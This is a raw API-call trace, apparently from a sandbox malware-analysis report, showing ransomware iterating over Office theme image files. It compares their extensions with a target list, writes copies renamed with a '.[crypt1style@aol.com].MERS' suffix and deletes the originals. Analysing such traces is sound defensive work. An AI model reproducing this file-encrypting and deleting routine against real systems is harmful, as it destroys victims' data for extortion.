lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString=".doc") returned 4 [0049.958] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString=".docx") returned 5 [0049.958] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.958] lstrlenW (lpString=".pdf") returned 4 [0049.958] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString=".xls") returned 4 [0049.958] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.958] lstrlenW (lpString=".xlsx") returned 5 [0049.958] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.958] lstrlenW (lpString=".ppt") returned 4 [0049.958] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString=".zip") returned 4 [0049.958] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.958] lstrlenW (lpString=".rar") returned 4 [0049.958] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.958] lstrlenW (lpString=".bz2") returned 4 [0049.958] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString=".7z") returned 3 [0049.958] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString=".dbf") returned 4 [0049.958] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString=".1cd") returned 4 [0049.958] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString=".jpg") returned 4 [0049.958] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.958] lstrlenW (lpString=".doc") returned 4 [0049.958] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString=".docx") returned 5 [0049.958] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.958] lstrlenW (lpString=".pdf") returned 4 [0049.958] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.958] lstrlenW (lpString=".xls") returned 4 [0049.958] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.959] lstrlenW (lpString=".xlsx") returned 5 [0049.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.959] lstrlenW (lpString=".ppt") returned 4 [0049.959] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.959] lstrlenW (lpString=".zip") returned 4 [0049.959] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.959] lstrlenW (lpString=".rar") returned 4 [0049.959] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.959] lstrlenW (lpString=".bz2") returned 4 [0049.959] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.959] lstrlenW (lpString=".7z") returned 3 [0049.959] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.959] lstrlenW (lpString=".dbf") returned 4 [0049.959] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.959] lstrlenW (lpString=".1cd") returned 4 [0049.959] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.959] lstrlenW (lpString=".jpg") returned 4 [0049.959] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.959] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.959] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.096] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31975) returned 1 [0050.096] CloseHandle (hObject=0x1e8) returned 1 [0050.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0050.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.097] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.097] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.097] GetLastError () returned 0x0 [0050.097] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0050.290] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0050.291] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.291] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.292] SetEndOfFile (hFile=0x210) returned 1 [0050.292] CloseHandle (hObject=0x210) returned 1 [0050.292] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.292] SetEndOfFile (hFile=0x1e8) returned 1 [0050.293] CloseHandle (hObject=0x1e8) returned 1 [0050.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.293] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0050.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.293] lstrlenW (lpString=".doc") returned 4 [0050.293] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.293] lstrlenW (lpString=".docx") returned 5 [0050.293] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.293] lstrlenW (lpString=".pdf") returned 4 [0050.293] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.293] lstrlenW (lpString=".xls") returned 4 [0050.293] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.293] lstrlenW (lpString=".xlsx") returned 5 [0050.293] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.293] lstrlenW (lpString=".ppt") returned 4 [0050.293] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.294] lstrlenW (lpString=".zip") returned 4 [0050.294] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.294] lstrlenW (lpString=".rar") returned 4 [0050.294] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.294] lstrlenW (lpString=".bz2") returned 4 [0050.294] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.294] lstrlenW (lpString=".7z") returned 3 [0050.294] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.294] lstrlenW (lpString=".dbf") returned 4 [0050.294] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.294] lstrlenW (lpString=".1cd") returned 4 [0050.294] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.294] lstrlenW (lpString=".jpg") returned 4 [0050.294] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.294] lstrlenW (lpString=".doc") returned 4 [0050.294] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.294] lstrlenW (lpString=".docx") returned 5 [0050.294] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.294] lstrlenW (lpString=".pdf") returned 4 [0050.294] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.294] lstrlenW (lpString=".xls") returned 4 [0050.294] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.294] lstrlenW (lpString=".xlsx") returned 5 [0050.294] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.295] lstrlenW (lpString=".ppt") returned 4 [0050.295] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.295] lstrlenW (lpString=".zip") returned 4 [0050.295] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.295] lstrlenW (lpString=".rar") returned 4 [0050.295] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.295] lstrlenW (lpString=".bz2") returned 4 [0050.295] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.295] lstrlenW (lpString=".7z") returned 3 [0050.295] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.295] lstrlenW (lpString=".dbf") returned 4 [0050.295] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.295] lstrlenW (lpString=".1cd") returned 4 [0050.295] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0050.295] lstrlenW (lpString=".jpg") returned 4 [0050.295] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.295] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.295] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.296] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=937) returned 1 [0050.296] CloseHandle (hObject=0x1e8) returned 1 [0050.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0050.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.296] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.296] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.355] GetLastError () returned 0x0 [0050.355] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0050.411] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0050.411] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.412] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.412] SetEndOfFile (hFile=0x1c4) returned 1 [0050.412] CloseHandle (hObject=0x1c4) returned 1 [0050.418] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.418] SetEndOfFile (hFile=0x1e8) returned 1 [0050.418] CloseHandle (hObject=0x1e8) returned 1 [0050.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.420] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.420] lstrlenW (lpString=".doc") returned 4 [0050.420] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.421] lstrlenW (lpString=".docx") returned 5 [0050.421] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.421] lstrlenW (lpString=".pdf") returned 4 [0050.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString=".xls") returned 4 [0050.421] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString=".xlsx") returned 5 [0050.421] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.421] lstrlenW (lpString=".ppt") returned 4 [0050.421] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.421] lstrlenW (lpString=".zip") returned 4 [0050.421] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString=".rar") returned 4 [0050.421] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString=".bz2") returned 4 [0050.421] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.421] lstrlenW (lpString=".7z") returned 3 [0050.421] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.421] lstrlenW (lpString=".dbf") returned 4 [0050.421] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.421] lstrlenW (lpString=".1cd") returned 4 [0050.421] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.421] lstrlenW (lpString=".jpg") returned 4 [0050.421] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.421] lstrlenW (lpString=".doc") returned 4 [0050.421] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.421] lstrlenW (lpString=".docx") returned 5 [0050.421] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.421] lstrlenW (lpString=".pdf") returned 4 [0050.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.421] lstrlenW (lpString=".xls") returned 4 [0050.422] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.422] lstrlenW (lpString=".xlsx") returned 5 [0050.422] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.422] lstrlenW (lpString=".ppt") returned 4 [0050.422] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.422] lstrlenW (lpString=".zip") returned 4 [0050.422] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.422] lstrlenW (lpString=".rar") returned 4 [0050.422] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.422] lstrlenW (lpString=".bz2") returned 4 [0050.422] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.422] lstrlenW (lpString=".7z") returned 3 [0050.422] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.422] lstrlenW (lpString=".dbf") returned 4 [0050.422] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.422] lstrlenW (lpString=".1cd") returned 4 [0050.422] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0050.422] lstrlenW (lpString=".jpg") returned 4 [0050.422] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.422] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.422] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.428] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1009) returned 1 [0050.428] CloseHandle (hObject=0x214) returned 1 [0050.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0050.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.429] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.429] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.534] GetLastError () returned 0x0 [0050.534] ReadFile (in: hFile=0x214, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0050.618] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x400, lpOverlapped=0x0) returned 1 [0050.619] ReadFile (in: hFile=0x214, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.619] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.619] SetEndOfFile (hFile=0x204) returned 1 [0050.619] CloseHandle (hObject=0x204) returned 1 [0050.619] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.619] SetEndOfFile (hFile=0x214) returned 1 [0050.620] CloseHandle (hObject=0x214) returned 1 [0050.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.620] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0050.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.620] 